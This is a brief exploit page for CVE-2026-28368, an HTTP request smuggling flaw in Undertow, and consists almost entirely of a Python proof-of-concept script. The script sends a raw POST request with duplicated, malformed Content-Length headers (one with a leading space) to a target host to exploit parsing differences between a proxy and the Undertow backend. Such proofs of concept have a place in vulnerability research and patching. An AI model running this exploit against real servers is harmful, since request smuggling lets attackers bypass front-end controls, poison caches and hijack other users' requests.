CVE-2026-28368 Undertow HTTP请求走私漏洞

import socket # Target configuration host = "target.example.com" port = 80 def send_smuggling_request(): """ PoC for HTTP Request Smuggling via Header Parsing Discrepancy. This attempts to send a request that the proxy interprets differently than the Undertow backend, potentially smuggling the second request. """ # Constructing a request with a malformed header name # The space before 'Content-Length' might be handled differently # by the proxy vs Undertow. payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 6\r\n" " Content-Length: 4\r\n" # Malformed header: leading space "\r\n" "123456" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) # Receive response to observe behavior response = s.recv(4096) print("Response received:") print(response.decode()) s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_smuggling_request()